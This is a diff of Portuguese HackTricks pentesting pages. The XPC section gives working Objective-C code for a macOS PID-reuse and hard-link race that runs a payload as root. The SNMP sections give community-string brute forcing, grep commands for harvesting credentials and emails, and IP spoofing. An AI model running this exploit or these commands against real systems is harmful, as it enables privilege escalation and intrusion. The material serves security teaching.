 * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Compartilhe seus truques de hacking enviando PRs para** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

 </details>

 ## Reutilização de PID

-Quando um serviço **XPC** do macOS está verificando o processo chamado com base no **PID** e não no **token de auditoria**, ele está vulnerável a um ataque de reutilização de PID. Esse ataque é baseado em uma **condição de corrida** onde um **exploit** vai **enviar mensagens para o serviço XPC** **abusando** da funcionalidade e logo **após** isso, executar **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** com o binário **permitido**.
+Quando um serviço **XPC** do macOS está verificando o processo chamado com base no **PID** e não no **token de auditoria**, ele está vulnerável a um ataque de reutilização de PID. Esse ataque é baseado em uma **condição de corrida** onde um **exploit** vai **enviar mensagens para o serviço XPC** **abusando** da funcionalidade e logo **após**, executar **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** com o binário **permitido**.

 Essa função fará com que o **binário permitido possua o PID**, mas a **mensagem XPC maliciosa terá sido enviada** logo antes. Portanto, se o serviço **XPC** usar o **PID** para **autenticar** o remetente e verificar isso **DEPOIS** da execução do **`posix_spawn`**, ele pensará que vem de um processo **autorizado**.

@ -25,16 +25,15 @@ Essa função fará com que o **binário permitido possua o PID**, mas a **mensa
 Se você encontrar a função **`shouldAcceptNewConnection`** ou uma função chamada por ela **chamando** **`processIdentifier`** e não chamando **`auditToken`**. Isso provavelmente significa que está **verificando o PID do processo** e não o token de auditoria.\
 Como por exemplo nesta imagem (retirada da referência):

-<figure><img src="../../../../../../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure>
+<figure><img src="../../../../../../.gitbook/assets/image (303).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure>

 Verifique este exemplo de exploit (novamente, retirado da referência) para ver as 2 partes do exploit:

 * Uma que **gera vários forks**
-* **Cada fork** irá **enviar** o **payload** para o serviço XPC enquanto executa **`posix_spawn`** logo após enviar a mensagem.
+* **Cada fork** irá **enviar** o **payload** para o serviço XPC enquanto executa **`posix_spawn`** logo após o envio da mensagem.

 {% hint style="danger" %}
-Para o exploit funcionar, é importante `exportar` **`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** ou colocar dentro do exploit:
-
+Para o exploit funcionar, é importante ` export`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** ou colocar dentro do exploit:
 ```objectivec
 asm(".section __DATA,__objc_fork_ok\n"
 "empty:\n"
@ -42,8 +41,9 @@ asm(".section __DATA,__objc_fork_ok\n"
 ```
 {% endhint %}

+{% tabs %}
+{% tab title="NSTasks" %}
 Primeira opção usando **`NSTasks`** e argumento para lançar os filhos para explorar o RC
-
 ```objectivec
 // Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
 // gcc -framework Foundation expl.m -o expl
@ -149,61 +149,146 @@ create_nstasks();
 return 0;
 }
 ```
+{% endtab %}

-Este exemplo usa um \*\*\`fork\`\*\* bruto para lançar \*\*processos filhos que irão explorar a condição de corrida do PID\*\* e então explorar \*\*outra condição de corrida via um Hard link:\*\* \`\`\`objectivec // export OBJC\_DISABLE\_INITIALIZE\_FORK\_SAFETY=YES // gcc -framework Foundation expl.m -o expl
+{% tab title="fork" %}
+Este exemplo usa um **`fork`** bruto para lançar **processos filhos que irão explorar a condição de corrida de PID** e então explorar **outra condição de corrida via um Hard link:**
+```objectivec
+// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
+// gcc -framework Foundation expl.m -o expl

-\#include \<Foundation/Foundation.h> #include \<spawn.h> #include \<pthread.h>
+#include <Foundation/Foundation.h>
+#include <spawn.h>
+#include <pthread.h>

-// TODO: CHANGE PROTOCOL AND FUNCTIONS @protocol HelperProtocol
+// TODO: CHANGE PROTOCOL AND FUNCTIONS
+@protocol HelperProtocol
+- (void)DoSomething:(void (^)(_Bool))arg1;
+@end

-* (void)DoSomething:(void (^)(\_Bool))arg1; @end
+// Global flag to track exploitation status
+bool pwned = false;

-// Global flag to track exploitation status bool pwned = false;
+/**
+* Continuously overwrite the contents of the 'hard_link' file in a race condition to make the
+* XPC service verify the legit binary and then execute as root out payload.
+*/
+void *check_race(void *arg) {
+while(!pwned) {
+// Overwrite with contents of the legit binary
+system("cat ./legit_bin > hard_link");
+usleep(50000);

-/\*\*
+// Overwrite with contents of the payload to execute
+// TODO: COMPILE YOUR OWN PAYLOAD BIN
+system("cat ./payload > hard_link");
+usleep(50000);
+}
+return NULL;
+}

-* Continuously overwrite the contents of the 'hard\_link' file in a race condition to make the
-* XPC service verify the legit binary and then execute as root out payload. \*/ void \*check\_race(void \*arg) { while(!pwned) { // Overwrite with contents of the legit binary system("cat ./legit\_bin > hard\_link"); usleep(50000);
+void child_xpc_pid_rc_abuse(){
+// TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION
+#define kValid "./Legit Updater.app/Contents/MacOS/Legit"
+extern char **environ;

-// Overwrite with contents of the payload to execute // TODO: COMPILE YOUR OWN PAYLOAD BIN system("cat ./payload > hard\_link"); usleep(50000); } return NULL; }
+// Connect with XPC service
+// TODO: CHANGE THE ID OF THE XPC TO EXPLOIT
+NSString*  service_name = @"com.example.Helper";
+NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
+// TODO: CNAGE THE PROTOCOL NAME
+NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
+[connection setRemoteObjectInterface:interface];
+[connection resume];

-void child\_xpc\_pid\_rc\_abuse(){ // TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION #define kValid "./Legit Updater.app/Contents/MacOS/Legit" extern char \*\*environ;
+id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
+NSLog(@"[-] Something went wrong");
+NSLog(@"[-] Error: %@", error);
+}];

-// Connect with XPC service // TODO: CHANGE THE ID OF THE XPC TO EXPLOIT NSString\* service\_name = @"com.example.Helper"; NSXPCConnection\* connection = \[\[NSXPCConnection alloc] initWithMachServiceName:service\_name options:0x1000]; // TODO: CNAGE THE PROTOCOL NAME NSXPCInterface\* interface = \[NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)]; \[connection setRemoteObjectInterface:interface]; \[connection resume];
+NSLog(@"obj: %@", obj);
+NSLog(@"conn: %@", connection);

-id obj = \[connection remoteObjectProxyWithErrorHandler:^(NSError\* error) { NSLog(@"\[-] Something went wrong"); NSLog(@"\[-] Error: %@", error); }];
+// Call vulenrable XPC function
+// TODO: CHANEG NAME OF FUNCTION TO CALL
+[obj DoSomething:^(_Bool b){
+NSLog(@"Response, %hdd", b);
+}];

-NSLog(@"obj: %@", obj); NSLog(@"conn: %@", connection);
+// Change current process to the legit binary suspended
+char target_binary[] = kValid;
+char *target_argv[] = {target_binary, NULL};
+posix_spawnattr_t attr;
+posix_spawnattr_init(&attr);
+short flags;
+posix_spawnattr_getflags(&attr, &flags);
+flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
+posix_spawnattr_setflags(&attr, flags);
+posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
+}

-// Call vulenrable XPC function // TODO: CHANEG NAME OF FUNCTION TO CALL \[obj DoSomething:^(\_Bool b){ NSLog(@"Response, %hdd", b); }];
+/**
+* Function to perform the PID race condition using children calling the XPC exploit.
+*/
+void xpc_pid_rc_abuse() {
+#define RACE_COUNT 1
+extern char **environ;
+int pids[RACE_COUNT];

-// Change current process to the legit binary suspended char target\_binary\[] = kValid; char \*target\_argv\[] = {target\_binary, NULL}; posix\_spawnattr\_t attr; posix\_spawnattr\_init(\&attr); short flags; posix\_spawnattr\_getflags(\&attr, \&flags); flags |= (POSIX\_SPAWN\_SETEXEC | POSIX\_SPAWN\_START\_SUSPENDED); posix\_spawnattr\_setflags(\&attr, flags); posix\_spawn(NULL, target\_binary, NULL, \&attr, target\_argv, environ); }
+// Fork child processes to exploit
+for (int i = 0; i < RACE_COUNT; i++) {
+int pid = fork();
+if (pid == 0) {  // If a child process
+child_xpc_pid_rc_abuse();
+}
+printf("forked %d\n", pid);
+pids[i] = pid;
+}

-/\*\*
+// Wait for children to finish their tasks
+sleep(3);

-* Function to perform the PID race condition using children calling the XPC exploit. \*/ void xpc\_pid\_rc\_abuse() { #define RACE\_COUNT 1 extern char \*\*environ; int pids\[RACE\_COUNT];
+// Terminate child processes
+for (int i = 0; i < RACE_COUNT; i++) {
+if (pids[i]) {
+kill(pids[i], 9);
+}
+}
+}

-// Fork child processes to exploit for (int i = 0; i < RACE\_COUNT; i++) { int pid = fork(); if (pid == 0) { // If a child process child\_xpc\_pid\_rc\_abuse(); } printf("forked %d\n", pid); pids\[i] = pid; }
+int main(int argc, const char * argv[]) {
+// Create and set execution rights to 'hard_link' file
+system("touch hard_link");
+system("chmod +x hard_link");

-// Wait for children to finish their tasks sleep(3);
+// Create thread to exploit sign verification RC
+pthread_t thread;
+pthread_create(&thread, NULL, check_race, NULL);

-// Terminate child processes for (int i = 0; i < RACE\_COUNT; i++) { if (pids\[i]) { kill(pids\[i], 9); } } }
+while(!pwned) {
+// Try creating 'download' directory, ignore errors
+system("mkdir download 2>/dev/null");

-int main(int argc, const char \* argv\[]) { // Create and set execution rights to 'hard\_link' file system("touch hard\_link"); system("chmod +x hard\_link");
+// Create a hardlink
+// TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC
+system("ln hard_link download/legit_bin");

-// Create thread to exploit sign verification RC pthread\_t thread; pthread\_create(\&thread, NULL, check\_race, NULL);
+xpc_pid_rc_abuse();
+usleep(10000);

-while(!pwned) { // Try creating 'download' directory, ignore errors system("mkdir download 2>/dev/null");
-
-// Create a hardlink // TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC system("ln hard\_link download/legit\_bin");
-
-xpc\_pid\_rc\_abuse(); usleep(10000);
-
-// The payload will generate this file if exploitation is successfull if (access("/tmp/pwned", F\_OK ) == 0) { pwned = true; } }
-
-return 0; }
+// The payload will generate this file if exploitation is successfull
+if (access("/tmp/pwned", F_OK ) == 0) {
+pwned = true;
+}
+}

+return 0;
+}
 ```
+## Outros exemplos
+
+* [https://gergelykalman.com/why-you-shouldnt-use-a-commercial-vpn-amateur-hour-with-windscribe.html](https://gergelykalman.com/why-you-shouldnt-use-a-commercial-vpn-amateur-hour-with-windscribe.html)
+
 ## Referências

 * [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/)
@ -213,13 +298,12 @@ return 0; }

 <summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

-Outras formas de apoiar o HackTricks:
+Outras maneiras de apoiar o HackTricks:

 * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

 </details>
-```
--- a/network-services-pentesting/pentesting-snmp/README.md
+++ b/network-services-pentesting/pentesting-snmp/README.md
@ -1,12 +1,12 @@
-# 161,162,10161,10162/udp - Pentesting SNMP
+# 161,162,10161,10162/udp - Teste de penetração SNMP

 <details>

-<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

 Outras formas de apoiar o HackTricks:

-* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -14,9 +14,9 @@ Outras formas de apoiar o HackTricks:

 </details>

-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

-Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
+Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).

 {% embed url="https://www.stmcyber.com/careers" %}

@ -33,21 +33,21 @@ O SNMP também utiliza a porta **162/UDP** para **traps**. Estes são **pacotes

 ### MIB

-Para garantir que o acesso SNMP funcione entre fabricantes e com diferentes combinações cliente-servidor, a **Base de Informações de Gerenciamento (MIB)** foi criada. A MIB é um **formato independente para armazenar informações do dispositivo**. Uma MIB é um arquivo **texto** no qual todos os **objetos SNMP** de um dispositivo são listados em uma hierarquia de árvore **padronizada**. Ela contém pelo menos um `Identificador de Objeto` (`OID`), que, além do **endereço único** necessário e de um **nome**, também fornece informações sobre o tipo, direitos de acesso e uma descrição do objeto respectivo.\
+Para garantir que o acesso SNMP funcione entre fabricantes e com diferentes combinações cliente-servidor, a **Base de Informações de Gerenciamento (MIB)** foi criada. A MIB é um **formato independente para armazenar informações do dispositivo**. Uma MIB é um arquivo **texto** no qual todos os **objetos SNMP consultáveis** de um dispositivo são listados em uma hierarquia de árvore **padronizada**. Ela contém pelo menos um `Identificador de Objeto` (`OID`), que, além do **endereço único necessário** e de um **nome**, também fornece informações sobre o tipo, direitos de acesso e uma descrição do objeto respectivo.\
 Os arquivos MIB são escritos no formato de texto ASCII baseado em `Notação de Sintaxe Abstrata Um` (`ASN.1`). As **MIBs não contêm dados**, mas explicam **onde encontrar quais informações** e como são, retornando valores para o OID específico, ou qual tipo de dado é usado.

 ### OIDs

 Os **Identificadores de Objeto (OIDs)** desempenham um papel crucial. Esses identificadores únicos são projetados para gerenciar objetos dentro de uma **Base de Informações de Gerenciamento (MIB)**.

-Os níveis mais altos dos IDs de objeto MIB, ou OIDs, são alocados a diversas organizações de definição de padrões. É dentro desses níveis superiores que o framework para práticas e padrões de gerenciamento global é estabelecido.
+Os níveis mais altos dos IDs de objetos MIB, ou OIDs, são alocados a diversas organizações de definição de padrões. É dentro desses níveis superiores que o framework para práticas e padrões de gerenciamento global é estabelecido.

 Além disso, os fornecedores têm a liberdade de estabelecer ramos privados. Dentro desses ramos, eles têm a **autonomia para incluir objetos gerenciados pertinentes às suas próprias linhas de produtos**. Esse sistema garante que haja um método estruturado e organizado para identificar e gerenciar uma ampla variedade de objetos entre diferentes fornecedores e padrões.

-![](../../.gitbook/assets/snmp_oid_mib_tree.png)
+![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)

 Você pode **navegar** por uma **árvore OID** na web aqui: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ou **ver o significado de um OID** (como `1.3.6.1.2.1.1`) acessando [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
-Existem alguns **OIDs conhecidos** como os que estão dentro de [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) que referenciam variáveis SNMP definidas pela MIB-2. E a partir dos **OIDs pendentes deste**, você pode obter alguns dados interessantes do host (dados do sistema, dados de rede, dados de processos...)
+Existem alguns **OIDs conhecidos** como os que estão dentro de [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) que referenciam variáveis do Protocolo Simples de Gerenciamento de Rede (SNMP) definidas pela MIB-2. E a partir dos **OIDs pendentes deste**, você pode obter alguns dados interessantes do host (dados do sistema, da rede, dos processos...)

 ### **Exemplo de OID**

@ -86,18 +86,18 @@ O restante dos valores fornece informações específicas sobre o dispositivo.

 Existem 2 versões importantes do SNMP:

-* **SNMPv1**: Principal, ainda é o mais frequente, a **autenticação é baseada em uma string** (string da comunidade) que viaja em **texto simples** (todas as informações viajam em texto simples). **Versão 2 e 2c** enviam o **tráfego em texto simples** também e usam uma **string da comunidade como autenticação**.
+* **SNMPv1**: Principal, ainda é o mais frequente, a **autenticação é baseada em uma string** (string da comunidade) que viaja em **texto simples** (toda a informação viaja em texto simples). **Versão 2 e 2c** enviam o **tráfego em texto simples** também e usam uma **string da comunidade como autenticação**.
 * **SNMPv3**: Usa uma forma de **autenticação melhor** e as informações viajam **criptografadas** (um **ataque de dicionário** poderia ser realizado, mas seria muito mais difícil encontrar as credenciais corretas do que no SNMPv1 e v2).

 ### Strings da Comunidade

-Como mencionado anteriormente, **para acessar as informações salvas na MIB, você precisa saber a string da comunidade nas versões 1 e 2/2c e as credenciais na versão 3.**\
+Como mencionado anteriormente, **para acessar as informações salvas na MIB, é necessário conhecer a string da comunidade nas versões 1 e 2/2c e as credenciais na versão 3.**\
 Existem **2 tipos de strings de comunidade**:

 * **`public`** principalmente funções **somente leitura**
 * **`private`** **Leitura/Gravação** em geral

-Observe que **a possibilidade de escrever em um OID depende da string da comunidade usada**, então **mesmo** se você descobrir que está sendo usada a "**public**", você pode ser capaz de **escrever alguns valores**. Além disso, **podem** existir objetos que são **sempre "Somente Leitura"**.\
+Observe que **a possibilidade de escrita de um OID depende da string da comunidade usada**, então **mesmo** se você descobrir que "**public**" está sendo usada, você pode ser capaz de **escrever alguns valores**. Além disso, **podem** existir objetos que são **sempre "Somente Leitura"**.\
 Se você tentar **escrever** um objeto, um erro de **`noSuchName` ou `readOnly`** é recebido\*\*.\*\*

 Nas versões 1 e 2/2c, se você usar uma **string de comunidade ruim**, o servidor não **responderá**. Portanto, se ele responder, uma **string de comunidade válida foi usada**.
@ -108,7 +108,7 @@ Nas versões 1 e 2/2c, se você usar uma **string de comunidade ruim**, o servid

 * O agente SNMP recebe solicitações na porta UDP **161**.
 * O gerente recebe notificações ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) e [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) na porta **162**.
-* Quando usado com [Segurança da Camada de Transporte](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) ou [Segurança da Camada de Transporte de Datagramas](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), as solicitações são recebidas na porta **10161** e as notificações são enviadas para a porta **10162**.
+* Quando usado com [Segurança na Camada de Transporte](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) ou [Segurança na Camada de Transporte de Datagramas](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), as solicitações são recebidas na porta **10161** e as notificações são enviadas para a porta **10162**.

 ## Ataque de Força Bruta na String da Comunidade (v1 e v2c)

@ -151,14 +151,14 @@ No campo da gestão de rede, certas configurações e parâmetros são essenciai

 ### Configurações de Acesso

-Duas configurações principais permitem acesso à **árvore OID completa**, que é um componente crucial na gestão de rede:
+Duas configurações principais permitem o acesso à **árvore OID completa**, que é um componente crucial na gestão de rede:

 1. **`rwuser noauth`** é definido para permitir acesso total à árvore OID sem a necessidade de autenticação. Essa configuração é direta e permite acesso irrestrito.
-2. Para controle mais específico, o acesso pode ser concedido usando:
+2. Para um controle mais específico, o acesso pode ser concedido usando:
 * **`rwcommunity`** para endereços **IPv4**, e
 * **`rwcommunity6`** para endereços **IPv6**.

-Ambos os comandos requerem uma **string de comunidade** e o endereço IP relevante, oferecendo acesso total independentemente da origem da solicitação.
+Ambos os comandos requerem uma **cadeia de comunidade** e o endereço IP relevante, oferecendo acesso total independentemente da origem da solicitação.

 ### Parâmetros SNMP para Microsoft Windows

@ -174,7 +174,7 @@ Uma série de valores da **Base de Informações de Gerenciamento (MIB)** são u

 ### Cisco

-Dê uma olhada nesta página se você possui equipamentos Cisco:
+Dê uma olhada nesta página se você tiver equipamentos Cisco:

 {% content-ref url="cisco-snmp.md" %}
 [cisco-snmp.md](cisco-snmp.md)
@ -182,7 +182,7 @@ Dê uma olhada nesta página se você possui equipamentos Cisco:

 ## De SNMP para RCE

-Se você tiver a **string** que permite **escrever valores** dentro do serviço SNMP, você pode abusar dela para **executar comandos**:
+Se você tiver a **cadeia** que permite **escrever valores** dentro do serviço SNMP, pode ser capaz de abusar dela para **executar comandos**:

 {% content-ref url="snmp-rce.md" %}
 [snmp-rce.md](snmp-rce.md)
@ -194,7 +194,7 @@ Se você tiver a **string** que permite **escrever valores** dentro do serviço

 Braa implementa sua PRÓPRIA pilha SNMP, portanto, NÃO precisa de bibliotecas SNMP como net-snmp.

-**Sintaxe:** braa \[String de Comunidade]@\[IP do servidor SNMP]:\[id iso]
+**Sintaxe:** braa \[Cadeia de comunidade]@\[IP do servidor SNMP]:\[id iso]
 ```bash
 braa ignite123@192.168.1.125:.1.3.6.*
 ```
@ -210,19 +210,19 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
 ```
 ### **Identificar String Privada**

-Um passo crucial envolve identificar a **string de comunidade privada** usada por organizações, especialmente em roteadores Cisco IOS. Essa string permite a extração de **configurações em execução** dos roteadores. A identificação frequentemente depende da análise dos dados de SNMP Trap em busca da palavra "trap" com um comando **grep**:
+Um passo crucial envolve identificar a **string de comunidade privada** usada por organizações, especialmente em roteadores Cisco IOS. Essa string permite a extração de **configurações em execução** dos roteadores. A identificação frequentemente depende da análise dos dados de **SNMP Trap** em busca da palavra "trap" com um comando **grep**:
 ```bash
 grep -i "trap" *.snmp
 ```
-### **Nomes de Usuários/Senhas**
+### **Nomes de usuário/Senhas**

-Registros armazenados em tabelas MIB são examinados em busca de **tentativas de login malsucedidas**, que podem incluir acidentalmente senhas inseridas como nomes de usuários. Palavras-chave como _fail_, _failed_ ou _login_ são pesquisadas para encontrar dados valiosos:
+Registros armazenados em tabelas MIB são examinados em busca de **tentativas de login malsucedidas**, que podem incluir acidentalmente senhas inseridas como nomes de usuário. Palavras-chave como _fail_, _failed_ ou _login_ são pesquisadas para encontrar dados valiosos:
 ```bash
 grep -i "login\|fail" *.snmp
 ```
-### **Emails**
+### **E-mails**

-Por fim, para extrair **endereços de email** dos dados, é utilizado um comando **grep** com uma expressão regular, focando em padrões que correspondem a formatos de email:
+Por fim, para extrair **endereços de e-mail** dos dados, é utilizado um comando **grep** com uma expressão regular, focando em padrões que correspondem a formatos de e-mail:
 ```bash
 grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
 ```
@ -232,7 +232,7 @@ Você pode usar o _**NetScanTools**_ para **modificar valores**. Você precisar

 ## Spoofing

-Se houver uma ACL que permita apenas alguns IPs consultar o serviço SMNP, você pode falsificar um desses endereços dentro do pacote UDP e capturar o tráfego.
+Se houver uma ACL que permite apenas alguns IPs consultar o serviço SMNP, você pode falsificar um desses endereços dentro do pacote UDP e capturar o tráfego.

 ## Examinar arquivos de configuração SNMP

@ -240,7 +240,7 @@ Se houver uma ACL que permita apenas alguns IPs consultar o serviço SMNP, você
 * snmpd.conf
 * snmp-config.xml

-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

 Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).

@ -288,7 +288,7 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp

 Outras maneiras de apoiar o HackTricks:

-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
--- a/network-services-pentesting/pentesting-snmp/cisco-snmp.md
+++ b/network-services-pentesting/pentesting-snmp/cisco-snmp.md
@ -6,15 +6,15 @@

 * Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
+* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

 </details>

-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

-Se você está interessado em uma **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
+Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).

 {% embed url="https://www.stmcyber.com/careers" %}

@ -23,14 +23,12 @@ Se você está interessado em uma **carreira de hacking** e hackear o inhackeáv
 **SNMP** funciona sobre UDP com as portas 161/UDP para mensagens gerais e 162/UDP para mensagens de armadilha. Esse protocolo depende de strings de comunidade, que funcionam como senhas que permitem a comunicação entre agentes SNMP e servidores. Essas strings são cruciais, pois determinam os níveis de acesso, especificamente **permissões de somente leitura (RO) ou leitura e escrita (RW)**. Um vetor de ataque notável para pentesters é a **força bruta de strings de comunidade**, com o objetivo de infiltrar dispositivos de rede.

 Uma ferramenta prática para executar tais ataques de força bruta é [**onesixtyone**](https://github.com/trailofbits/onesixtyone), que requer uma lista de possíveis strings de comunidade e os endereços IP dos alvos:
-
 ```bash
 onesixtyone -c communitystrings -i targets
 ```
-
